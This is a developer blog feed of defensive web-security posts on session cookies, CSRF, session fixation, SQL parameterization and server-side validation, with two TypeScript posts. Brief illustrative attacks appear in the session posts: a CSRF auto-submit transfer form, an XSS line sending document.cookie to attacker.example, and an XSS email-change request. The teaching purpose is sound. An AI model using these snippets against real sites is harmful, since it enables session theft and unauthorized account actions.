DEV Community: khg5293

Your Session Cookie Is Basically a Temporary Password - Part 2

khg5293 — Tue, 22 Sep 2026 04:09:44 +0000

In Part 1, we looked at the basics:

How sessions work, why cookies matter, and why attributes like HttpOnly, Secure, and SameSite are important.

But secure cookie settings are only one part of session security.

A session has a lifecycle.

It is created, authenticated, used, refreshed, expired, and eventually destroyed.

Problems can happen at any point in that lifecycle.

In this post, we'll look at some of the less obvious session security issues developers should understand.

CSRF: When the Browser Helps the Attacker

One of the strange things about cookies is that browsers send them automatically.

That is convenient for users.

It is also exactly why CSRF exists.

Imagine a user is logged into:

bank.example

Their browser has:

Cookie: session_id=a8f19d27c4e91b72

Now the user visits:

evil.example

That page contains something like:

<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="amount" value="500">
  <input type="hidden" name="to" value="attacker">
</form>

<script>
  document.forms[0].submit();
</script>

The attacker does not need to know the victim's session cookie.

The browser may attach it automatically when sending the request to bank.example.

From the server's perspective, the request could arrive with a valid authenticated session.

That is the core idea behind Cross-Site Request Forgery.

The attacker is not stealing the session.

They are abusing the browser's ability to use it.

CSRF Tokens

One common defense is a CSRF token.

The application generates a random value associated with the user's session.

For example:

<form method="POST" action="/settings/email">
  <input
    type="hidden"
    name="csrf_token"
    value="9bf231ce89f5d10a"
  >

  <input
    type="email"
    name="email"
  >

  <button type="submit">
    Change email
  </button>
</form>

The server expects both:

A valid authenticated session

and

A valid CSRF token

If the attacker can cause the browser to submit a request but cannot obtain the correct CSRF token, the server can reject it.

Conceptually:

Session cookie
      +
CSRF token
      ↓
Request accepted

A missing or incorrect token should cause the request to fail.

SameSite cookies can also reduce CSRF risk, but it is useful to understand CSRF as its own problem rather than thinking one cookie flag solves everything.

Session Fixation

Another session attack is less intuitive.

It is called session fixation.

Normally, we think of an attacker trying to steal a session after login.

Session fixation reverses that idea.

The attacker tries to make the victim use a session ID the attacker already knows.

Imagine the attacker knows:

session_id=XYZ123

The victim somehow begins using that session.

Then the victim logs in.

If the application keeps the same session identifier after authentication:

Before login:
session_id=XYZ123

After login:
session_id=XYZ123

the attacker already knows the identifier of the authenticated session.

The attack flow looks like this:

Attacker knows session XYZ123
          ↓
Victim begins using XYZ123
          ↓
Victim logs in
          ↓
Server authenticates XYZ123
          ↓
Attacker still knows XYZ123

The password was never stolen.

The session was never guessed.

The problem was that the session identifier was not changed when authentication happened.

Regenerate the Session ID After Login

The defense is straightforward:

Generate a new session identifier when authentication state changes.

For example:

app.post("/login", async (req, res) => {
  const user = await authenticate(
    req.body.username,
    req.body.password
  );

  if (!user) {
    return res.status(401).send("Invalid credentials");
  }

  req.session.regenerate((error) => {
    if (error) {
      return res.sendStatus(500);
    }

    req.session.userId = user.id;
    req.session.username = "khg5293";

    res.redirect("/dashboard");
  });
});

The important transition is:

Unauthenticated session ID
          ↓
User logs in
          ↓
New session ID
          ↓
Authenticated session

The old identifier should not simply become the authenticated session.

Session rotation can also make sense after important privilege changes.

For example:

User
  ↓
Admin role granted
  ↓
Rotate session ID

A session should not quietly carry sensitive state transitions forever.

Session Expiration

Sessions should not remain valid indefinitely.

If a session ID is stolen today and still works six months later, the attacker gets a very large window of opportunity.

Two common expiration strategies are:

Idle Timeout

The session expires after a period of inactivity.

For example:

Last activity: 10:00 AM

No activity for 30 minutes

Session expires at 10:30 AM

If the user makes another legitimate request before the timeout:

10:00 AM request
10:20 AM request
10:40 AM request

the idle timer may be refreshed.

This protects against sessions that are abandoned but never explicitly logged out.

Absolute Timeout

An absolute timeout limits the total lifetime of the session.

For example:

Login: 9:00 AM

Absolute lifetime: 8 hours

Session expires: 5:00 PM

Even if the user remains active, the session eventually ends.

This creates an upper bound on how long the same authenticated session can exist.

A system may use both:

Idle timeout:
30 minutes

Absolute timeout:
8 hours

The correct values depend on the application.

A low-risk community forum and an online banking system should not necessarily use the same session lifetime.

Remember Me Changes the Risk

Many applications offer a feature like:

Remember me

That can be useful, but developers should understand what it means from a security perspective.

A normal session might last:

30 minutes

while a persistent login might last:

30 days

That dramatically increases the usefulness of a stolen token.

If long-lived authentication is required, it is often better to treat it as a separate mechanism rather than simply making the normal session live forever.

For example:

Short-lived session
       +
Long-lived reauthentication token

The persistent token can be separately rotated, revoked, and monitored.

Longer lifetime should always be treated as increased exposure.

Logout Should Destroy the Session

A common logout implementation is:

res.clearCookie("session_id");
res.redirect("/");

That removes the cookie from the user's browser.

But ask an important question:

What happened to the session on the server?

Possibly nothing.

Imagine the server still contains:

sessions["a8f19d27c4e91b72"] = {
  userId: "khg5293",
  authenticated: true
};

The original browser may no longer have the cookie.

But if an attacker already copied the session identifier, that copy might still work.

Logout should normally invalidate the server-side session too.

For example:

app.post("/logout", (req, res) => {
  req.session.destroy((error) => {
    if (error) {
      return res.sendStatus(500);
    }

    res.clearCookie("session_id");

    res.redirect("/");
  });
});

The goal is:

Delete browser cookie
        +
Destroy server session

Both matter.

Password Changes Should Affect Existing Sessions

Another important lifecycle question is:

What happens to existing sessions when the password changes?

Imagine this situation:

Laptop session
Phone session
Tablet session
Unknown attacker session

The user changes their password.

If all existing sessions remain valid, the attacker's session may continue working.

Depending on the application, a password reset or other major account security event may justify invalidating other sessions.

For example:

Password reset
      ↓
Invalidate old sessions
      ↓
Require new authentication

This is especially important after suspected account compromise.

Session Revocation Matters

Expiration answers:

When should this session naturally stop working?

Revocation answers:

How can we make this session stop working right now?

Useful scenarios include:

User clicks "log out everywhere"

Password reset

Account locked

Admin disables account

Suspicious login detected

User removes a trusted device

A server-side session store makes this relatively straightforward.

If the session no longer exists:

session_id=a8f19d27c4e91b72

the server should reject it.

For example:

HTTP/1.1 401 Unauthorized

A session is only useful while the server still considers it valid.

Don't Put Session IDs in URLs

This is worth stating directly.

Do not design authenticated URLs like:

https://example.com/account?session_id=a8f19d27c4e91b72

URLs leak into many places.

For example:

Browser history

Server logs

Proxy logs

Analytics systems

Screenshots

Copied links

Bookmarks

Referer headers

A URL is a terrible place for a bearer credential.

Authentication tokens belong in mechanisms designed to transport them safely.

For traditional browser sessions, that generally means cookies.

Avoid Logging Session Tokens

The same idea applies to application logging.

This is useful:

2026-09-15T21:42:11Z
event=login_success
user=khg5293
source_ip=192.0.2.18

This is dangerous:

2026-09-15T21:42:11Z
event=login_success
user=khg5293
session_id=a8f19d27c4e91b72

Logs are often copied, indexed, retained, exported, and accessed by many systems.

A live session identifier appearing in logs can become a credential leak.

Application logs should avoid exposing secrets unnecessarily.

Keep Cookie Scope Narrow

Cookie attributes can control where a cookie is sent.

For example:

Set-Cookie: session_id=abc123; Path=/

sends the cookie more broadly than:

Set-Cookie: session_id=abc123; Path=/account

The correct scope depends on the application.

The same idea applies to domains.

An overly broad cookie configuration can cause a credential to be sent to places that do not actually need it.

A useful security principle is:

Give credentials the smallest scope they actually require.

That applies to cookies too.

Avoid Unnecessary Session Data in the Browser

In a traditional server-side session architecture, the browser does not need to know everything about the session.

This is usually enough:

Cookie: session_id=a8f19d27c4e91b72

The server can associate that identifier with:

{
  userId: "khg5293",
  role: "user",
  permissions: ["profile:read"],
  authenticated: true
}

There is usually no benefit in exposing sensitive server-side session state to the browser unnecessarily.

Keep the client-side value minimal.

Treat Session Security as a Lifecycle

It is easy to focus entirely on login.

But a secure session has many stages.

Session created
      ↓
User authenticates
      ↓
Session ID rotated
      ↓
Session used
      ↓
Session monitored
      ↓
Session expires or is revoked
      ↓
Session destroyed

Security decisions exist at every step.

If any one step is poorly designed, the session can become easier to abuse.

A More Complete Session Security Checklist

For a traditional web application:

[ ] Generate unpredictable session IDs

[ ] Rotate session IDs after authentication

[ ] Rotate again after major privilege changes where appropriate

[ ] Use HttpOnly

[ ] Use Secure

[ ] Choose an appropriate SameSite policy

[ ] Protect state-changing requests against CSRF

[ ] Implement idle expiration

[ ] Consider an absolute session lifetime

[ ] Invalidate sessions during logout

[ ] Revoke sessions after important account security events

[ ] Support session revocation where appropriate

[ ] Never place session IDs in URLs

[ ] Avoid logging authentication tokens

[ ] Keep cookie scope as narrow as practical

[ ] Avoid exposing unnecessary session state to the browser

Final Thought

Session security is not just about protecting one cookie.

It is about controlling the entire lifecycle of an authenticated identity.

The session has to be created securely.

It has to change when authentication changes.

It has to expire.

It has to be revocable.

And when the user logs out, it should actually stop working.

The safest way to think about a session ID is still the simplest one:

If someone possesses this value,
what can they do?

If the answer is:

Act as the authenticated user

then that session deserves the same care as any other credential.

Because once the password has already done its job, the session becomes the thing standing between the user and everyone else.

Your Session Cookie Is Basically a Temporary Password - Part 1

khg5293 — Wed, 16 Sep 2026 02:35:50 +0000

When developers think about authentication security, passwords usually get most of the attention.

Use strong passwords. Hash them properly. Add MFA. Rate-limit login attempts.

All of that matters.

But something interesting happens after a user successfully logs in:

The password usually stops being involved.

The application still needs a way to recognize that user on every request. In many traditional web applications, that job is handled by a session and a cookie containing the session identifier.

And if an attacker gets that identifier, they may not need the user's password at all.

In this post, we'll look at how sessions work, how cookies fit into the process, and the cookie settings web developers should understand.

HTTP Doesn't Remember You

HTTP is stateless.

Imagine a user sends this request:

GET /login HTTP/1.1
Host: example.com

Then later:

GET /dashboard HTTP/1.1
Host: example.com

From HTTP alone, there is nothing inherently connecting those two requests to the same authenticated user.

The server needs some way to remember:

This request belongs to the user who logged in earlier.

That's where sessions come in.

A typical authentication flow looks something like this:

User submits credentials
        ↓
Server verifies credentials
        ↓
Server creates a session
        ↓
Server generates a session ID
        ↓
Session ID is sent to the browser
        ↓
Browser sends it with future requests

After a successful login, the server might respond with:

HTTP/1.1 200 OK
Set-Cookie: session_id=a8f19d27c4e91b72; Path=/

The browser stores the cookie.

On a later request:

GET /account HTTP/1.1
Host: example.com
Cookie: session_id=a8f19d27c4e91b72

The server reads the session ID and looks it up.

Conceptually, the application might store something like:

sessions["a8f19d27c4e91b72"] = {
  userId: "khg5293",
  role: "user",
  authenticated: true
};

The browser did not send the password again.

It only sent the session identifier.

Cookies and Sessions Are Not the Same Thing

Cookies and sessions are often discussed together, so it is easy to treat them as the same thing.

They are not.

A cookie is data stored by the browser and sent with matching HTTP requests.

A session is application state associated with a user.

In a traditional server-side session model:

Browser

session_id=a8f19d27c4e91b72

        ↓

Server

a8f19d27c4e91b72
        ↓
{
  userId: "khg5293",
  role: "user",
  authenticated: true
}

The browser holds the identifier.

The server holds the session state.

This distinction matters because the session ID becomes the link between the browser and the authenticated account.

Why Session IDs Matter

Suppose an attacker somehow obtains this value:

session_id=a8f19d27c4e91b72

They may be able to send:

GET /account HTTP/1.1
Host: example.com
Cookie: session_id=a8f19d27c4e91b72

If the server sees a valid authenticated session, the request may look legitimate.

The attacker may never need to know the password.

This is why session identifiers are valuable.

In many applications, possession of a valid session token is enough to act as the authenticated user until that session expires or is invalidated.

That makes the session ID behave a lot like a temporary credential.

Session IDs Must Be Unpredictable

A session identifier should never be easily guessable.

This would be a terrible design:

session_id=1001
session_id=1002
session_id=1003

If session IDs follow an obvious pattern, an attacker might simply try nearby values.

Another bad example would be building a session ID from predictable input:

const sessionId = username + Date.now();

It may look unique, but uniqueness is not the same thing as security.

Session IDs should be generated using a cryptographically secure random number generator.

In Node.js, for example:

import crypto from "crypto";

const sessionId = crypto.randomBytes(32).toString("hex");

console.log(sessionId);

That could produce something like:

63b6910ef2815cb79234af20d8a815332adf36f46d5f86108be34778176cb133

The important property is not that the value looks complicated.

It is that an attacker cannot realistically predict the next valid value.

Protect the Cookie With `HttpOnly`

JavaScript running in a page can normally access cookies through:

document.cookie

That becomes dangerous when an application has a cross-site scripting vulnerability.

Imagine malicious JavaScript manages to run inside your site:

fetch(
  "https://attacker.example/collect?cookie=" +
  encodeURIComponent(document.cookie)
);

If the authentication cookie is readable by JavaScript, the session identifier could potentially be exposed.

The HttpOnly attribute helps reduce that risk.

Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly

An HttpOnly cookie is still sent with normal HTTP requests.

But JavaScript cannot directly read it through:

document.cookie

For an authentication cookie, this is an important protection.

`HttpOnly` Does Not Fix XSS

There is an important limitation.

HttpOnly makes direct cookie theft harder, but it does not make an XSS vulnerability harmless.

If malicious JavaScript is already running in the victim's browser, it may still be able to perform authenticated actions.

For example:

fetch("/api/profile/email", {
  method: "POST",
  headers: {
    "Content-Type": "application/json"
  },
  body: JSON.stringify({
    email: "attacker@example.com"
  })
});

The JavaScript does not need to read the session cookie.

The browser may attach it automatically.

So the distinction is:

HttpOnly helps protect the cookie itself.

HttpOnly does not eliminate XSS.

Those are separate security problems.

Use `Secure`

Authentication cookies should also generally use the Secure attribute.

Set-Cookie: session_id=a8f19d27c4e91b72; Secure

This tells the browser to send the cookie only over HTTPS.

A stronger configuration combines both attributes:

Set-Cookie: session_id=a8f19d27c4e91b72; HttpOnly; Secure

Each attribute protects against a different problem.

HttpOnly
    ↓
Reduces direct JavaScript access to the cookie

Secure
    ↓
Restricts the cookie to HTTPS connections

Neither replaces the other.

What About `SameSite`?

Another cookie attribute developers frequently encounter is SameSite.

You may have seen values like:

SameSite=Strict

SameSite=Lax

or:

SameSite=None

SameSite controls when a browser sends a cookie during requests involving different sites.

This matters because browsers automatically attach cookies to matching requests.

Consider this situation:

User is logged into:
account.example

Browser contains:
session_id=abc123

The user then visits:

evil.example

That site causes the browser to make a request to:

account.example

The security question becomes:

Should the browser include the account.example session cookie?

That behavior is closely related to Cross-Site Request Forgery, or CSRF.

`SameSite=Strict`

Strict is the most restrictive option.

Set-Cookie: session_id=abc123; SameSite=Strict

The browser generally avoids sending the cookie in cross-site requests.

That gives strong cross-site protection.

But it can also affect legitimate navigation.

For example, a user clicking a link from another website into your application may arrive without the cookie being included on that initial request.

That may or may not be acceptable depending on the application.

`SameSite=Lax`

Lax provides a middle ground.

Set-Cookie: session_id=abc123; SameSite=Lax

It restricts cookies in many cross-site scenarios while still allowing them in certain top-level navigation cases.

Conceptually:

More restrictive

Strict
  ↓
Lax
  ↓
None

Less restrictive

For many traditional web applications, Lax is a reasonable starting point.

`SameSite=None`

Sometimes an application legitimately requires cookies to work across sites.

In that case:

Set-Cookie: session_id=abc123; SameSite=None; Secure

Cookies using SameSite=None must also use Secure in modern browsers.

So this:

Set-Cookie: session_id=abc123; SameSite=None

is not the intended modern configuration.

Instead:

Set-Cookie: session_id=abc123; SameSite=None; Secure

The important point is that SameSite=None should be a deliberate choice.

It should not simply become the fallback whenever another setting breaks something.

Putting the Cookie Flags Together

A typical session cookie might look something like this:

Set-Cookie: session_id=63b6910ef2815cb7; HttpOnly; Secure; SameSite=Lax; Path=/

Each part has a purpose.

session_id
    ↓
Identifies the authenticated session

HttpOnly
    ↓
Prevents direct JavaScript access

Secure
    ↓
Restricts transmission to HTTPS

SameSite
    ↓
Controls cross-site cookie behavior

Path
    ↓
Controls which paths receive the cookie

No single flag makes a session secure.

Security comes from combining multiple controls.

A Quick Session Cookie Checklist

For a traditional cookie-based session system:

[ ] Generate session IDs using cryptographically secure randomness

[ ] Never make session IDs predictable

[ ] Use HTTPS

[ ] Set HttpOnly on authentication cookies

[ ] Set Secure on authentication cookies

[ ] Choose an appropriate SameSite policy

[ ] Keep cookie scope as narrow as practical

[ ] Treat session IDs as credentials

Final Thought

Developers put a lot of effort into protecting passwords.

But authentication security does not end when the login succeeds.

After authentication, the application needs another way to recognize the user.

In many web applications, that eventually comes down to something like:

Cookie: session_id=a8f19d27c4e91b72

The password may no longer be part of the request.

The session identifier is.

So from an attacker's perspective, the question may stop being:

How do I learn khg5293's password?

and become:

How do I get a valid session?

That is why authenticated session IDs deserve to be treated like credentials.

Because for as long as the session remains valid, that is effectively what they are.

Why Type Safety Matters More as a Codebase Grows

khg5293 — Sun, 13 Sep 2026 02:54:50 +0000

When a project is small, type safety can feel like extra work.

If you only have a few files and you wrote most of the code yourself, it is often easy to remember what each function expects and what each object contains.

That changes quickly as a project grows.

More components, more API responses, more shared utilities, and more contributors all create opportunities for assumptions to drift.

One of the biggest benefits of static typing is that it turns many of those assumptions into something the compiler can check.

For example:

type User = {
  id: number
  username: string
  isActive: boolean
}

const user: User = {
  id: 5293,
  username: "khg5293",
  isActive: true
}

Now a function that expects a User has a clear contract.

function displayUser(user: User) {
  console.log(user.username)
}

displayUser(user)

If the structure changes later, TypeScript can point out the places that need to be updated.

This becomes especially useful during refactoring.

Without type checking, changing a shared object or function signature can create bugs in parts of the application that may not be immediately obvious.

With TypeScript, many of those problems become compile-time errors instead.

Type safety does not eliminate bugs, and it does not replace testing.

But as a codebase becomes larger, it reduces the amount of information developers have to keep in their heads.

That is where I think TypeScript becomes most valuable.

It is not just about preventing simple mistakes.

It is about making larger systems easier to change with confidence.

Why Parameterized Queries Matter for SQL Security

khg5293 — Sun, 13 Sep 2026 02:52:44 +0000

SQL injection is one of the classic examples of what can happen when an application mixes user input directly into a database query.

The underlying problem is simple.

The application expects data.

The database may interpret part of that data as SQL code.

That is why parameterized queries are such an important security control.

The unsafe approach

Imagine a simple project lookup page where a user submits a project name.

An unsafe query might be built like this:

const projectName = request.body.projectName;

const query =
  "SELECT * FROM projects WHERE name = '" +
  projectName +
  "'";

db.query(query);

If the input is:

khg5293-json-formatter

the final query becomes:

SELECT * FROM projects
WHERE name = 'khg5293-json-formatter';

That looks fine.

The problem is that the application is directly combining input with SQL syntax.

Why this becomes dangerous

An attacker is not required to submit the value the application expects.

They may provide input containing characters that change the meaning of the query.

Once user input becomes part of the SQL statement itself, the database may interpret it as executable SQL instead of ordinary data.

That is the security boundary we want to preserve.

The application should control the SQL structure.

The user should only control the values being supplied to that structure.

Parameterized queries separate code from data

A safer version looks like this:

const projectName = request.body.projectName;

db.query(
  "SELECT * FROM projects WHERE name = ?",
  [projectName]
);

Here, the SQL statement and the user supplied value are passed separately.

The database driver handles the parameter as data rather than inserting it directly into the SQL syntax.

This is much easier to reason about and significantly safer.

Another example

Imagine a page that retrieves a project using a numeric ID.

A parameterized query could look like this:

const projectId = Number(request.params.id);

if (
  !Number.isInteger(projectId) ||
  projectId <= 0
) {
  throw new Error("Invalid project ID");
}

db.query(
  "SELECT * FROM projects WHERE id = ?",
  [projectId]
);

This combines two useful controls.

First, the server validates that projectId is actually a positive integer.

Second, the value is passed into the SQL query as a parameter.

Validation and parameterization solve different problems, but they work well together.

Input validation alone is not enough

It is tempting to think that filtering suspicious characters is enough to prevent SQL injection.

For example:

const input = request.body.projectName;

if (input.includes("'")) {
  throw new Error("Invalid input");
}

This is not a good primary defense.

Attack techniques can vary, database syntax can vary, and maintaining a list of every dangerous pattern is difficult.

The safer approach is to design the query so that user input is never interpreted as SQL syntax in the first place.

That is exactly what parameterized queries are designed to do.

Avoid building queries manually

Consider this:

const owner = request.body.owner;
const status = request.body.status;

const query =
  "SELECT * FROM projects WHERE owner = '" +
  owner +
  "' AND status = '" +
  status +
  "'";

db.query(query);

The more values that are concatenated into a query, the harder the code becomes to reason about safely.

A parameterized version is much cleaner:

db.query(
  "SELECT * FROM projects WHERE owner = ? AND status = ?",
  [owner, status]
);

The SQL structure stays fixed.

Only the values change.

Parameterized queries also improve readability

Security is the main benefit, but parameterized queries usually make code easier to read as well.

For example:

const project = {
  owner: "khg5293",
  language: "TypeScript",
  status: "active"
};

db.query(
  "INSERT INTO projects (owner, language, status) VALUES (?, ?, ?)",
  [
    project.owner,
    project.language,
    project.status
  ]
);

It is immediately clear which values are being inserted and where they belong.

The developer does not have to manually worry about quoting or concatenating each value.

Parameterization is not the entire security model

Parameterized queries are extremely important, but they are still only one layer.

Applications should also consider:

Input validation
Authentication
Authorization
Least privilege database accounts
Secure error handling
Logging and monitoring
Rate limiting where appropriate

For example, a perfectly parameterized query is still a problem if any user can access data they are not authorized to see.

Security controls solve different parts of the problem.

A useful mental model

I like to think of it this way:

SQL belongs to the application.

Data belongs to the user.

The application should never let user supplied data become part of the SQL language itself.

For example:

db.query(
  "SELECT * FROM projects WHERE owner = ?",
  ["khg5293"]
);

This is fundamentally safer than constructing the SQL statement by combining strings.

Final thought

Parameterized queries are not complicated, but they solve an important problem.

They create a clear separation between SQL instructions and user supplied data.

Input validation is still valuable.

Authorization is still necessary.

Other defensive layers still matter.

But when an application interacts with a SQL database, parameterization should be the default way to handle values.

Why I Prefer TypeScript Over JavaScript for Larger Projects

khg5293 — Mon, 07 Sep 2026 00:16:56 +0000

JavaScript is flexible, fast to start with, and supported everywhere on the web.

For small scripts, quick experiments, and simple browser utilities, plain JavaScript is often enough.

But as projects become larger, TypeScript starts to solve problems that JavaScript leaves entirely up to the developer.

That is why I increasingly prefer TypeScript for anything beyond a very small project.

The biggest difference is type safety

JavaScript lets variables change type freely.

For example:

let userId = 5293;

userId = "5293";

That is valid JavaScript.

Sometimes this flexibility is convenient, but it also makes it easier for unexpected values to move through an application.

TypeScript lets you define what a value is supposed to be:

let userId: number = 5293;

Now assigning a string to userId produces an error during development.

That means certain mistakes are caught before the code ever runs.

For small experiments, this may not matter much.

For a larger application with many files and components, it becomes much more valuable.

Functions become easier to understand

Consider a JavaScript function:

function getProjectName(project) {
  return project.name;
}

There is nothing here telling us what project is supposed to contain.

With TypeScript, the expected structure can be defined directly:

type Project = {
  name: string;
  language: string;
  public: boolean;
};

function getProjectName(project: Project): string {
  return project.name;
}

Now the function documents itself.

A developer immediately knows what kind of object should be passed into it and what the function returns.

This becomes especially useful when returning to a project after several weeks or working across a larger codebase.

Interfaces make data structures clearer

TypeScript also makes application data easier to reason about.

For example:

interface Profile {
  username: string;
  projectCount: number;
  active: boolean;
}

const profile: Profile = {
  username: "khg5293",
  projectCount: 6,
  active: true
};

If one of those properties is missing or has the wrong type, TypeScript can catch the issue before runtime.

In plain JavaScript, that mistake may only become visible when the affected code actually executes.

Better autocomplete

One of the most noticeable benefits of TypeScript is editor support.

Suppose a project object looks like this:

interface Project {
  title: string;
  repository: string;
  technologies: string[];
}

const project: Project = {
  title: "Algorithm Visualizer",
  repository: "khg5293-algorithm-visualizer",
  technologies: ["React", "TypeScript"]
};

When typing:

project.

an editor such as VS Code already knows that title, repository, and technologies are available.

This makes autocomplete more useful and reduces the need to constantly remember object structures.

Refactoring feels safer

Imagine renaming a property used throughout a large project.

In JavaScript, it is possible to miss one reference and only discover the problem later.

With TypeScript, the compiler can identify places where the old structure is no longer valid.

For example:

interface Tool {
  toolName: string;
  category: string;
}

const tool: Tool = {
  toolName: "JSON Formatter",
  category: "Web Utility"
};

If toolName is later renamed to name, TypeScript helps identify code that still expects toolName.

That makes large refactors much less intimidating.

TypeScript is still JavaScript

TypeScript does not replace JavaScript in the browser.

TypeScript code is compiled into JavaScript before it runs.

For example:

const message: string = "Hello from khg5293";

might ultimately become:

const message = "Hello from khg5293";

The type information helps developers while writing the application, but browsers still execute JavaScript.

That is an important distinction.

TypeScript adds a development layer on top of JavaScript rather than creating an entirely different runtime.

JavaScript still has its place

I would not use TypeScript for everything.

If I am creating a tiny browser experiment with twenty lines of JavaScript, adding TypeScript may create more setup than value.

JavaScript is still excellent for:

Small scripts
Quick prototypes
CodePen experiments
Learning browser APIs
Simple utilities

TypeScript becomes more attractive as complexity increases.

When I would choose TypeScript

For a larger project, I would usually choose TypeScript when the project has:

Multiple components
Complex data structures
API responses
Shared functions
Several source files
Long term maintenance
React or another component based framework

The larger the project becomes, the more valuable explicit types tend to become.

Final thought

JavaScript gives developers freedom.

TypeScript adds structure to that freedom.

For small experiments, plain JavaScript can be faster and simpler.

For larger applications, I prefer having the compiler catch mistakes before users do.

That is why I tend to use TypeScript for larger projects while keeping plain JavaScript for smaller browser utilities.

Both have a place.

The important part is choosing the level of structure that matches the project.

Client Side Validation Is Not a Security Boundary

khg5293 — Mon, 07 Sep 2026 00:15:28 +0000

Client side validation is useful, but it should never be treated as a security control.

A browser can require an email address, limit the length of a username, or prevent certain characters from being entered. That improves the user experience, but anything running in the browser can ultimately be bypassed.

A user can modify HTML, disable JavaScript, change requests in developer tools, or send requests directly using tools such as curl, Postman, or Burp Suite.

That means the server must validate every important value again.

Never trust the client

The server should treat incoming data as untrusted regardless of what the browser already checked.

That includes:

Form fields
URL parameters
JSON request bodies
HTTP headers
Cookies
File uploads
API requests

Imagine a browser form that asks for a username and limits it to 20 characters.

A normal request might contain:

username=khg5293

But an attacker does not have to use the browser form at all.

They could send something completely different directly to the server.

That is why the server has to enforce its own rules.

For example:

const userId = Number(request.body.userId);

if (!Number.isInteger(userId) || userId <= 0) {
  throw new Error("Invalid user ID");
}

The important part is that this validation happens after the request reaches the server.

The browser may already have checked the value, but the server should never assume that check actually happened.

Client side validation still matters

Client side validation is not useless.

It improves the user experience by giving immediate feedback.

For example, a registration form might check that the username is not empty before submitting it:

const username = document.getElementById("username").value;

if (username.length === 0) {
  alert("Please enter a username");
}

That is convenient for the user.

But it does not protect the server.

Someone can bypass that JavaScript and send a request manually.

The server still needs to perform its own validation.

Validation versus sanitization

Validation asks whether data is acceptable.

Examples include:

Is this value an integer?
Is the string within the expected length?
Does the value belong to an allowed set?
Does the input follow the expected format?

Sanitization modifies or removes content in an attempt to make the value safer.

For example, suppose an application only allows a small set of project types.

A server side validation check might look like this:

const allowedProjects = [
  "web-utility",
  "visualizer",
  "security-tool"
];

const projectType = request.body.projectType;

if (!allowedProjects.includes(projectType)) {
  throw new Error("Invalid project type");
}

This is easier to reason about than trying to identify every possible unexpected input.

Prefer allow lists

Allow lists are especially useful when an application expects a limited number of known values.

For example:

const allowedStatuses = [
  "active",
  "inactive",
  "pending"
];

const status = request.body.status;

if (!allowedStatuses.includes(status)) {
  throw new Error("Invalid status");
}

This defines exactly what the application accepts.

Anything outside that set is rejected.

That is often safer and simpler than trying to maintain a long list of suspicious values.

Validate data types too

Input validation is not only about strings.

Applications should also check that values have the expected type and range.

Imagine an API endpoint that accepts the number of projects to display:

const projectLimit = Number(request.query.limit);

if (
  !Number.isInteger(projectLimit) ||
  projectLimit < 1 ||
  projectLimit > 100
) {
  throw new Error("Invalid project limit");
}

Now the server knows that the value must be an integer between 1 and 100.

A client cannot simply send:

limit=999999999

and expect the server to accept it.

Validation is only one layer

Server side validation does not replace other security controls.

Applications still need things such as:

Parameterized database queries
Output encoding
Authentication
Authorization
Secure file handling
Rate limiting
Appropriate error handling

For example, imagine a database lookup for a project.

Instead of constructing a SQL query manually, the application should use a parameterized query:

const projectName = request.body.projectName;

db.query(
  "SELECT * FROM projects WHERE name = ?",
  [projectName]
);

Input validation is useful here, but parameterized queries are still the proper defense against SQL injection.

Security controls work best in layers.

A simple example

A basic server side validation flow might look like this:

function validateProject(project) {
  if (typeof project.name !== "string") {
    throw new Error("Project name must be a string");
  }

  if (project.name.length < 1 || project.name.length > 50) {
    throw new Error("Invalid project name length");
  }

  const allowedLanguages = [
    "JavaScript",
    "TypeScript",
    "Python"
  ];

  if (!allowedLanguages.includes(project.language)) {
    throw new Error("Unsupported language");
  }

  return true;
}

const project = {
  name: "khg5293-json-formatter",
  language: "JavaScript"
};

validateProject(project);

The client may perform similar checks before sending the request.

The server should still perform them again.

The simple rule

A useful rule is:

Never trust the client.

Client side validation improves usability.

Server side validation protects the application.

The browser can help users submit the right data, but the server has to decide whether that data is actually acceptable.

Keeping that distinction clear is one of the fundamentals of secure web development.

DEV Community: khg5293

Your Session Cookie Is Basically a Temporary Password - Part 2

CSRF: When the Browser Helps the Attacker

CSRF Tokens

Session Fixation

Regenerate the Session ID After Login

Session Expiration

Idle Timeout

Absolute Timeout

Remember Me Changes the Risk

Logout Should Destroy the Session

Password Changes Should Affect Existing Sessions

Session Revocation Matters

Don't Put Session IDs in URLs

Avoid Logging Session Tokens

Keep Cookie Scope Narrow

Avoid Unnecessary Session Data in the Browser

Treat Session Security as a Lifecycle

A More Complete Session Security Checklist

Final Thought

Your Session Cookie Is Basically a Temporary Password - Part 1

HTTP Doesn't Remember You

Cookies and Sessions Are Not the Same Thing

Why Session IDs Matter

Session IDs Must Be Unpredictable

Protect the Cookie With HttpOnly

HttpOnly Does Not Fix XSS

Use Secure

What About SameSite?

SameSite=Strict

SameSite=Lax

SameSite=None

Putting the Cookie Flags Together

A Quick Session Cookie Checklist

Final Thought

Why Type Safety Matters More as a Codebase Grows

Why Parameterized Queries Matter for SQL Security

The unsafe approach

Why this becomes dangerous

Parameterized queries separate code from data

Another example

Input validation alone is not enough

Avoid building queries manually

Parameterized queries also improve readability

Parameterization is not the entire security model

A useful mental model

Final thought

Why I Prefer TypeScript Over JavaScript for Larger Projects

The biggest difference is type safety

Functions become easier to understand

Interfaces make data structures clearer

Better autocomplete

Refactoring feels safer

TypeScript is still JavaScript

JavaScript still has its place

When I would choose TypeScript

Final thought

Client Side Validation Is Not a Security Boundary

Never trust the client

Client side validation still matters

Validation versus sanitization

Prefer allow lists

Validate data types too

Validation is only one layer

A simple example

The simple rule

Protect the Cookie With `HttpOnly`

`HttpOnly` Does Not Fix XSS

Use `Secure`

What About `SameSite`?

`SameSite=Strict`

`SameSite=Lax`

`SameSite=None`